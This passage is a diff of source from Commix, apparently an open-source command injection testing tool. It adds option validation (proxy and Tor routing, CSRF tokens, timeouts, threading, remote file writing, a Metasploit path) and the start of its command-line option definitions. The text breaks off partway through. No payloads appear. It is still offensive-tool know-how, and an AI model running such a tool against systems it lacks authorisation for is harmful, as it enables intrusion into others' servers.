b/src/core/options.py @@ -0,0 +1,576 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import sys + +from src.utils import common +from src.utils import settings +from src.core.parse import cmdline as menu +from src.core.requests import tor +from src.core.requests import proxy +from src.core.parse import request +from src.core.requests import cookies +from src.core.controller import checks + +""" +Everything the options say, checked and settled before a target is contacted. + +An option the run cannot act on is the user's own to correct, and one that contradicts another +says so here rather than after a connection has been opened and a payload sent. +""" +def validate(): + # A content oracle is the whole of this technique's answer, so one without the other is a mistake + # worth naming before a target is touched. + if checks.boolean_oracle_given(): + given = [name for name, value in (("--string", menu.options.string), ("--not-string", menu.options.not_string), + ("--regexp", menu.options.regexp), ("--code", menu.options.code)) if value] + if len(given) > 1: + err_msg = "The options " + ", ".join("'" + _ + "'" for _ in given) + " cannot be used together. " + err_msg += "Only one of them says what a true answer looks like." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check for missing mandatory option(s). + if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + menu.options.requestfile, menu.options.sitemap_url, menu.options.openapi, menu.options.wizard, \ + menu.options.update, menu.options.list_tampers, menu.options.dependencies)): + if not menu.options.purge: + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --openapi, --wizard, --update, --list-tampers, --dependencies or --purge). " + err_msg += "Use -h for basic and -hh for advanced help." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Any out-of-band option on its own is enough to ask for the channel. + if any((menu.options.oob_server, menu.options.oob_token, menu.options.oob_poll != settings.OOB_POLL_INTERVAL)): + menu.options.oob = True + + checks.init_keep_alive() + checks.set_optimize() + + if menu.options.codec: + if not settings.known_encoding(menu.options.codec): + err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " + err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " + err_msg += "to get the full list of supported charsets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + else: + settings.DEFAULT_CODEC = menu.options.codec.lower() + + if menu.options.header and len(menu.options.header.split(settings.END_LINE.ESCAPED_LF))> 1: + warn_msg = "Due to multiple provided HTTP headers, switching '--header' to '--headers'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if menu.options.method: + settings.HTTP_METHOD = menu.options.method + + if menu.options.answers: + settings.ANSWERS = menu.options.answers + + # Asked for a proxy and told to ignore one: the switch sets a proxy of its own, which the option + # then discards, so what runs is a plain run that was asked to be anything but. + if menu.options.tor and menu.options.ignore_proxy: + err_msg = "The switch '--tor' is incompatible with switch '--ignore-proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check if defined "--proxy" option. + if menu.options.proxy: + if menu.options.tor: + err_msg = "The switch '--tor' is incompatible with option '--proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.ignore_proxy: + err_msg = "The option '--proxy' is incompatible with switch '--ignore-proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + match = re.search(settings.PROXY_REGEX, menu.options.proxy.strip()) + if not match: + err_msg = "Proxy value must be in format '(" + "|".join(settings.PROXY_SCHEMES) + ")://address:port'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + _, proxy_scheme, proxy_cred, proxy_address, proxy_port = match.groups() + settings.PROXY_SCHEME = (proxy_scheme or "http").lower() + menu.options.proxy = proxy_address + ":" + proxy_port + # Credentials written into the proxy value itself are the ones that proxy asks for. + if proxy_cred: + menu.options.proxy_cred = proxy_cred + proxy.configure() + + if menu.options.proxy and menu.options.proxy_file: + err_msg = "The option '--proxy' is incompatible with the option '--proxy-file'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.proxy_freq and not menu.options.proxy_file: + err_msg = "The option '--proxy-freq' requires the option '--proxy-file'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Read once and kept in the order they were written, so a run that rotates through them is + # repeatable rather than picking one at random. + if menu.options.proxy_file: + proxy.load_proxy_list() + + if menu.options.safe_post and not menu.options.safe_url: + err_msg = "The option '--safe-post' requires the option '--safe-url'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.safe_req and any((menu.options.safe_url, menu.options.safe_post)): + err_msg = "The option '--safe-req' is incompatible with the options '--safe-url' and '--safe-post'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.safe_freq and not any((menu.options.safe_url, menu.options.safe_req)): + err_msg = "The option '--safe-freq' requires the option '--safe-url' or the option '--safe-req'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if any((menu.options.safe_url, menu.options.safe_req)): + if menu.options.safe_freq <= 0: + err_msg = "You must specify a '--safe-freq' value, greater than zero, to visit a safe URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if menu.options.safe_url and not re.search(r"(?i)\Ahttp[s]*://", menu.options.safe_url): + menu.options.safe_url = ("https://" if ":443/" in menu.options.safe_url else "http://") + menu.options.safe_url + if menu.options.safe_req: + settings.SAFE_REQUEST = request.parse_safe_request(menu.options.safe_req) + + for option_name, option_value in (("--csrf-url", menu.options.csrf_url), ("--csrf-method", menu.options.csrf_method), ("--csrf-data", menu.options.csrf_data)): + if option_value and not menu.options.csrf_token: + err_msg = "The option '" + option_name + "' requires the option '--csrf-token'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.csrf_token: + # A token is one value at a time: a second worker spends the one the first was given, and both + # requests are then answered as though neither had a token at all. + if menu.options.threads > 1: + err_msg = "The option '--csrf-token' is incompatible with the option '--threads'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + checks.set_anticsrf_token(menu.options.csrf_token) + + """ + A question the oracle could not answer, refused before it is asked. + + '--null-connection' reads the length off the header and never reads a body, which is the whole + point of it - so a discriminator that looks inside the body has nothing to look at. Left to run, + '--string' and '--regexp' find nothing in an empty page and every answer reads no, while + '--not-string' finds nothing to object to and every answer reads yes: a constant the oracle then + calibrates on, and a retrieval built on a constant is invented rather than read. + + Dropped rather than refused, since the two were given for the same end - telling a yes from a no - + and the one that can still be answered is the one to keep. + """ + if menu.options.null_connection: + body_bound = [name for name, given in (("--string", menu.options.string), + ("--not-string", menu.options.not_string), + ("--regexp", menu.options.regexp), + ("--text-only", menu.options.text_only), + ("--titles", menu.options.titles)) if given] + if body_bound: + menu.options.null_connection = False + warn_msg = "The switch '--null-connection' reads no page body, so it cannot be used with " + warn_msg += ', '.join("'" + name + "'" for name in body_bound) + ". Skipping it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + checks.parse_param_encoding() + checks.absorb_encoding_tampers() + + if menu.options.second_url and menu.options.second_req: + err_msg = "The option '--second-url' is incompatible with the option '--second-req'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.second_req: + info_msg = "Parsing the second-order HTTP request from '" + menu.options.second_req + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.SECOND_ORDER_REQUEST = request.parse_single_request(menu.options.second_req, "second-order") + + if menu.options.retry_on: + try: + re.compile(menu.options.retry_on) + except Exception as err: + err_msg = "Invalid regular expression '" + menu.options.retry_on + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Asked for on its own, it has nothing to check: the run goes out the way it always would. + if menu.options.check_tor and not any((menu.options.tor, menu.options.proxy)): + err_msg = "The switch '--check-tor' requires the switch '--tor' or the option '--proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.tor_type and not menu.options.tor: + err_msg = "The option '--tor-type' requires the switch '--tor'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.tor_port and not menu.options.tor: + err_msg = "The option '--tor-port' requires the switch '--tor'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # A port is a number within a range, and the probe below is handed it as one - so a value that + # is not a number reaches it as an error of a kind it does not answer for, and one outside the + # range reaches it as a Tor that is not listening, which is not what is wrong with it. + if menu.options.tor_port: + if not str(menu.options.tor_port).isdigit() or int(menu.options.tor_port) > 65535: + err_msg = "The option '--tor-port' takes a port number, between 0 and 65535." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.tor_port = int(menu.options.tor_port) + + # Check if defined Tor (--tor option). + if menu.options.tor: + tor.set_proxy_settings() + # Asked for either way: '--check-tor' is allowed alongside '--proxy', where the proxy given is + # the Tor front end itself, and gating the check on '--tor' left that spelling checking nothing. + tor.do_check() + + if menu.options.ignore_session and menu.options.flush_session: + err_msg = "The '--ignore-session' switch is unlikely to work combined with the '--flush-session' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + """ + A certificate is the credential, so it is not asked for beside one. + + Given a key file and nothing else, that is what the run authenticates with and the type follows + from it. Named as the type with no file to read, there is nothing to present. + """ + if menu.options.auth_file: + if not os.path.isfile(os.path.expanduser(menu.options.auth_file)): + err_msg = "It seems the '" + menu.options.auth_file + "' file does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.auth_file = os.path.expanduser(menu.options.auth_file) + if not menu.options.auth_type: + menu.options.auth_type = settings.AUTH_TYPE.PKI + elif (menu.options.auth_type or "").lower() == settings.AUTH_TYPE.PKI: + err_msg = "The '--auth-type=" + settings.AUTH_TYPE.PKI + "' option requires the '--auth-file' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check if defined "--auth-cred" and/or '--auth-type'. + if not menu.options.auth_file and \ + ((menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type)): + err_msg = "You must specify both '--auth-cred' and '--auth-type' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.auth_cred and menu.options.auth_type: + if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): + error_msg = "HTTP " + str(menu.options.auth_type) + error_msg += " authentication credentials value must be in format 'username:password'." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.requestfile and menu.options.url: + err_msg = "The '-r' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if menu.options.bulkfile and menu.options.url: + err_msg = "The '-m' option is incompatible with option '-u' ('--url')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check the user-defined OS. + if menu.options.os: + checks.user_defined_os() + + # Check if defined "--abort-code" option. + if menu.options.abort_code: + try: + settings.ABORT_CODE = [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.abort_code)] + except ValueError: + err_msg = "The option '--abort-code' should contain a list of integer values." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # A page that asks to be retried is not a page to abort on: the two would otherwise both answer + # for the same response, and the abort would win. + if menu.options.retry_on and settings.ABORT_CODE: + settings.ABORT_CODE = [] + + # A delimiter is written as an escape where the shell would otherwise eat the character itself, so + # what arrives is two characters that no request data holds - leaving the option unused and the + # parameters it was meant to split reported as absent. + if menu.options.pdel: + menu.options.pdel = checks.decode_string_escape(menu.options.pdel) + + # The same escape, and a character rather than a string: a longer one splits the cookie where + # nothing asked it to, leaving every parameter behind the first one reported as absent. + if menu.options.cdel: + menu.options.cdel = checks.decode_string_escape(menu.options.cdel) + if len(menu.options.cdel) != 1: + err_msg = "The option '--cookie-del' takes a single character (e.g. ';')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check if defined "--ignore-code" option. + if menu.options.ignore_code: + wildcard = menu.options.ignore_code.strip() == settings.IGNORE_CODE_WILDCARD + try: + settings.IGNORE_CODE = list(range(0, 1000)) if wildcard else [int(_) for _ in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.ignore_code)] + if settings.VERBOSITY_LEVEL != 0: + # Said as the wildcard it was given as - the thousand codes it stands for are not a list + # anybody asked to read. + if wildcard: + debug_msg = "Ignoring every HTTP error code." + else: + debug_msg = "Ignoring '" + str(', '.join(str(x) for x in settings.IGNORE_CODE)) + "' HTTP error code"+('', 's')[len(settings.IGNORE_CODE) > 1]+ "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + except ValueError: + err_msg = "The option '--ignore-code' should contain a list of integer values, or '" + err_msg += settings.IGNORE_CODE_WILDCARD + "' for every code." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check if defined "--wizard" option. + if menu.options.wizard: + info_msg = "Starting wizard interface." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + message = "Please enter full target URL (-u) " + if menu.options.url: + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) + elif not menu.options.url and not settings.STDIN_PARSING: + while True: + menu.options.url = common.read_input(message, default=None, check_batch=True) + if menu.options.url is None or len(menu.options.url) == 0: + pass + else: + break + message = "POST data (--data) [Enter for None] " + if settings.STDIN_PARSING or menu.options.data: + settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) + else: + menu.options.data = common.read_input(message, default=None, check_batch=True) + if menu.options.data is not None and len(menu.options.data) == 0: + menu.options.data = False + while True: + message = "Injection difficulty (--level) [1-3, Default: 1] " + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) + break + try: + settings.INJECTION_LEVEL = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if settings.INJECTION_LEVEL > int(settings.HTTP_HEADER_INJECTION_LEVEL): + pass + else: + break + except ValueError: + pass + + # Seconds to delay between each HTTP request. + if menu.options.delay != 0: + settings.DELAY = menu.options.delay + + # Random seconds added on top of that delay, which cannot be asked for backwards. + if menu.options.jitter < 0: + err_msg = "The value of the '--jitter' option must not be negative." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + """ + A number that cannot mean what it says is worth stopping for. + + Left to run, none of these fails where it was given: a negative delay, a zero-length ceiling or a + timeout of nothing reaches a technique that then finds nothing, and what gets reported is a target + that is not injectable rather than a value that could never have worked. + """ + for option, value, minimum in (("--delay", menu.options.delay, 0), + ("--time-sec", menu.options.timesec, 0), + ("--retries", menu.options.retries, 0), + ("--crawl", menu.options.crawldepth, 0), + ("--time-limit", menu.options.time_limit, 0), + ("--timeout", menu.options.timeout, 0), + ("--maxlen", menu.options.maxlen, 1), + ("--threads", menu.options.threads, 1), + ("--failed-tries", menu.options.failed_tries, 1)): + if value is None or value >= minimum: + continue + err_msg = "The value of the '" + option + "' option must " + err_msg += "not be negative." if minimum == 0 else "be " + str(minimum) + " or greater." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Raised rather than refused, for the same reason the values above are refused: a wait too short + # to tell a slow target from an unreachable one is a value that could never have worked, and what + # it costs is every later answer, read as silence. + if menu.options.timeout < settings.MIN_SAFE_TIMEOUT: + warn_msg = "The value of the '--timeout' option is too low to tell a slow target from one that " + warn_msg += "is not answering, so '" + str(settings.MIN_SAFE_TIMEOUT) + "' is used instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.TIMEOUT = menu.options.timeout = settings.MIN_SAFE_TIMEOUT + + # Said now rather than where it is matched against: an oracle that cannot compile is one the run + # would carry on without, reporting a target that never answered the question it was given. + if menu.options.regexp: + try: + re.compile(menu.options.regexp) + except re.error as err: + err_msg = "The value of the '--regexp' option is not a valid regular expression (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # The ceiling every technique bisects under, not only the ones that wait for their answer. + if menu.options.maxlen: + settings.MAXLEN = menu.options.maxlen + + for option, value in (("--openapi-base", menu.options.openapi_base), ("--openapi-tags", menu.options.openapi_tags)): + if value and not menu.options.openapi: + err_msg = "The '" + option + "' option requires the '--openapi' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check if defined "--timesec" option. + if menu.options.timesec != 0: + settings.TIMESEC = menu.options.timesec + + # What an unstable connection needs more of - doubled, and only where the run did not say + # otherwise itself: a value given by hand is the one that was meant. + if menu.options.unstable: + # The delay is held at zero until a technique asks for one, and the answer it gets is the + # safe minimum - so that, not the zero, is what there is twice as much of. + if not settings.USER_APPLIED_TIMESEC: + settings.TIMESEC = menu.options.timesec = (settings.TIMESEC or settings.MIN_SAFE_TIMESEC) * 2 + if not settings.USER_APPLIED_RETRIES: + settings.MAX_RETRIES = menu.options.retries = menu.options.retries * 2 + if not settings.USER_APPLIED_TIMEOUT: + settings.TIMEOUT = menu.options.timeout = menu.options.timeout * 2 + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Doubling what an unstable connection needs more of, except where it was given: " + debug_msg += "'--time-sec=" + str(menu.options.timesec) + "', '--retries=" + str(menu.options.retries) + debug_msg += "', '--timeout=" + str(menu.options.timeout) + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + # Check if defined "--threads" option. + if menu.options.threads > 1: + try: + __import__("concurrent.futures") + threads_supported = True + except ImportError: + threads_supported = False + if not threads_supported: + warn_msg = "'--threads' needs Python 3.2+; continuing with a single thread." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif menu.options.threads > settings.MAX_THREADS: + settings.THREADS = settings.MAX_THREADS + warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + settings.THREADS = menu.options.threads + if settings.THREADS > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting " + str(settings.THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + if menu.options.tor: + # Doubled from the delay that would otherwise be asked for - which is the safe minimum until a + # technique settles on one, rather than the zero the option sits at. + settings.TIMESEC = menu.options.timesec = (settings.TIMESEC or settings.MIN_SAFE_TIMESEC) * 2 + warn_msg = "Increasing the value for the option '--time-sec' to" + warn_msg += " " + str(settings.TIMESEC) + ", because you provided the switch '--tor'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if menu.options.sitemap_url: + settings.SITEMAP_CHECK = True + + if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: + settings.CRAWLING = True + + if menu.options.crawl_exclude: + if not settings.CRAWLING: + err_msg = "The '--crawl-exclude' option requires usage of the '--crawl' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + try: + re.compile(menu.options.crawl_exclude) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.crawl_exclude + "' (" + str(e) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Only a request carrying a body can be split into chunks. + if menu.options.chunked and not any((menu.options.data, menu.options.requestfile, \ + menu.options.logfile, menu.options.forms, menu.options.openapi)): + err_msg = "The '--chunked' switch requires usage of POST data." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + for option, cookies_file in (("--load-cookies", menu.options.load_cookies), ("--live-cookies", menu.options.live_cookies)): + if cookies_file and not os.path.isfile(cookies_file): + err_msg = "It seems the '" + cookies_file + "' file, provided with the '" + option + "' option, does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # The file keeps being read as it changes, so what it holds now would only be overwritten. + if menu.options.load_cookies and not menu.options.live_cookies: + menu.options.cookie = cookies.load_cookies() + + if menu.options.scope: + try: + re.compile(menu.options.scope) + except Exception as e: + err_msg = "invalid regular expression '" + menu.options.scope + "' (" + str(e) + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + info_msg = "Using regular expression '" + menu.options.scope + "' for filtering targets." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if menu.options.forms and not settings.CRAWLING: + err_msg = "The '--forms' switch requires the '--crawl' option." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check arguments + if len(sys.argv) == 1 and not settings.STDIN_PARSING: + menu.parser.print_help() + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise SystemExit() + else: + # Check for INJECT_HERE tag. + inject_tag_regex_match = re.search(settings.INJECT_TAG_REGEX, ",".join(str(x) for x in sys.argv)) + if inject_tag_regex_match: + settings.INJECT_TAG = inject_tag_regex_match.group(0) + + # What can be answered without the target is answered before it is contacted: a path that does + # not exist is no reason to have opened a connection, let alone to have sent it a payload. + if menu.options.file_write is not None: + if not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if not os.path.isfile(menu.options.file_write): + err_msg = "The specified path '" + menu.options.file_write + "' is not a file." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # Check provided parameters for tests + checks.check_provided_parameters() + + # Define the local path where Metasploit Framework is installed. + if menu.options.msf_path: + settings.METASPLOIT_PATH = menu.options.msf_path + + +# eof diff --git a/src/core/injections/blind/__init__.py b/src/core/parse/__init__.py similarity index 86% rename from src/core/injections/blind/__init__.py rename to src/core/parse/__init__.py index b50e6972c9..7cd55728d8 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/parse/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py new file mode 100755 index 0000000000..4c87100717 --- /dev/null +++ b/src/core/parse/cmdline.py @@ -0,0 +1,1688 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import glob +from src.utils import settings +from optparse import OptionGroup +from optparse import OptionValueError +from optparse import OptionParser +from optparse import SUPPRESS_HELP as SUPPRESS +from src.thirdparty.colorama import Fore, Style, init + +# Use Colorama to make Termcolor work on Windows too :) +if settings.IS_WINDOWS: + init() + +""" +The commix's banner. +""" +def banner(): + settings.print_data_to_stdout(r""" __ + ___ ___ ___ ___ ___ ___ /\_\ __ _ + /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" +/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </ +\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ """ + Fore.GREY + Style.UNDERLINE + settings.APPLICATION_URL + Style.RESET_ALL + r""" + \/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (""" + Fore.LIGHTRED_EX + settings.APPLICATION_X_ACCOUNT + Style.RESET_ALL + """) + +""" + Style.BRIGHT + settings.DESCRIPTION_FULL + Style.RESET_ALL + """ +Copyright © """ + settings.YEAR + """ """ + settings.AUTHOR + Style.RESET_ALL + """ (""" + Fore.LIGHTRED_EX + settings.AUTHOR_X_ACCOUNT + Style.RESET_ALL + """) +""") + + +usage = "python %prog [option(s)]" + +parser = OptionParser(usage=usage) + +# General options +general = OptionGroup(parser, "General", + "These options relate to general matters. ") + +general.add_option("-v", + default=0, + action="store", + type="int", + dest="verbose", + help="Verbosity level (0-4, Default: 0).") + +general.add_option("--install", + action="store_true", + dest="install", + default=False, + help="Install " + settings.APPLICATION + " to your system.") + +general.add_option("--version", + action="store_true", + dest="version", + default=False, + help="Show version number and exit.") + +general.add_option("--update", + action="store_true", + dest="update", + default=False, + help="Check for updates (apply if any) and exit.") + +general.add_option("--output-dir", + action="store", + dest="output_dir", + help="Set custom output directory path.") + +general.add_option("-s", + action="store", + dest="session_file", + default=None, + help="Load session from a stored (.sqlite) file.") + +general.add_option("--flush-session", + action="store_true", + dest="flush_session", + default=False, + help="Flush session files for current target.") + +general.add_option("--ignore-session", + action="store_true", + dest="ignore_session", + default=False, + help="Ignore results stored in session file.") + +general.add_option("-t", + action="store", + dest="traffic_file", + default=None, + help="Log all HTTP traffic into a textual file.") + +general.add_option("--har", + action="store", + dest="har", + default=None, + help="Log all HTTP traffic into a HAR file.") + +general.add_option("--eta", + action="store_true", + dest="eta", + default=False, + help="Display for each output the estimated time of arrival.") + +general.add_option("--no-truncate", + action="store_true", + dest="no_truncate", + default=False, + help="Disable console output truncation.") + +general.add_option("--time-limit", + dest="time_limit", + type=float, + help="Run with a time limit in seconds (e.g. 3600).") + +general.add_option("--batch", + action="store_true", + dest="batch", + default=False, + help="Never ask for user input, use the default behaviour.") + +general.add_option("--skip-heuristics", + action="store_true", + dest="skip_heuristics", + default=False, + help="Skip heuristic detection for code injection.") + +general.add_option("--codec", + action="store", + dest="codec", + default=None, + help="Force codec for character encoding (e.g. 'ascii').") + +general.add_option("--charset", + action="store", + dest="charset", + default=None, + help="Blind injection charset (e.g. '0123456789abcdef').") + +general.add_option("--check-internet", + action="store_true", + dest="check_internet", + default=False, + help="Check internet connection before assessing the target.") + +general.add_option("--answers", + dest="answers", + help="Set predefined answers (e.g. 'quit=N,follow=N').") + +general.add_option("--abort-on-empty", + action="store_true", + dest="abort_on_empty", + default=False, + help="Abort data retrieval on empty results.") + +general.add_option("-c", + action="store", + dest="config_file", + default=None, + help="Load options from a configuration INI file.") + +general.add_option("--save", + action="store", + dest="save_config", + default=None, + help="Save options to a configuration INI file.") + +general.add_option("--parse-errors", + action="store_true", + dest="parse_errors", + default=False, + help="Parse and display shell/interpreter errors from responses.") + +general.add_option("--results-file", + action="store", + dest="results_file", + default=None, + help="Store findings of every target to a CSV file.") + +general.add_option("--report-json", + action="store", + dest="report_json", + default=None, + help="Store run results to a JSON file.") + +# Target options +target = OptionGroup(parser, "Target", + "This options has to be provided, to define the target URL. ") + +target.add_option("-u","--url", + action="store", + dest="url", + help="Target URL.") + +target.add_option("--url-reload", + action="store_true", + dest="url_reload", + default=False, + help="Reload target URL after command execution.") + +target.add_option("-l", + dest="logfile", + help="Parse target from HTTP proxy log file (or HAR export).") + +target.add_option("-m", + dest="bulkfile", + help="Scan multiple targets given in a textual file.") + +target.add_option("-r", + dest="requestfile", + help="Load HTTP request from a file.") + +target.add_option("--crawl", + default=0, + dest="crawldepth", + type="int", + help="Crawl the website starting from the target URL (Default: 1).") + +target.add_option("--crawl-exclude", + dest="crawl_exclude", + default=None, + help="Regexp to exclude pages from crawling (e.g. 'logout').") + +target.add_option("--second-url", + action="store", + dest="second_url", + default=None, + help="Resulting page URL searched for second-order response.") + +target.add_option("--second-req", + action="store", + dest="second_req", + default=None, + help="Load second-order HTTP request from file.") + +target.add_option("--scope", + dest="scope", + default=None, + help="Regexp to filter targets (e.g. '(www)?\\.target\\.(com|net|org)').") + +target.add_option("--forms", + dest="forms", + action="store_true", + default=False, + help="Parse and test forms on target URL (requires '--crawl').") + +target.add_option("--openapi", + action="store", + dest="openapi", + default=None, + help="Derive target(s) from an OpenAPI (Swagger) specification (file/URL).") + +target.add_option("--openapi-base", + action="store", + dest="openapi_base", + default=None, + help="Base URL for a specification that names no host of its own.") + +target.add_option("--openapi-tags", + 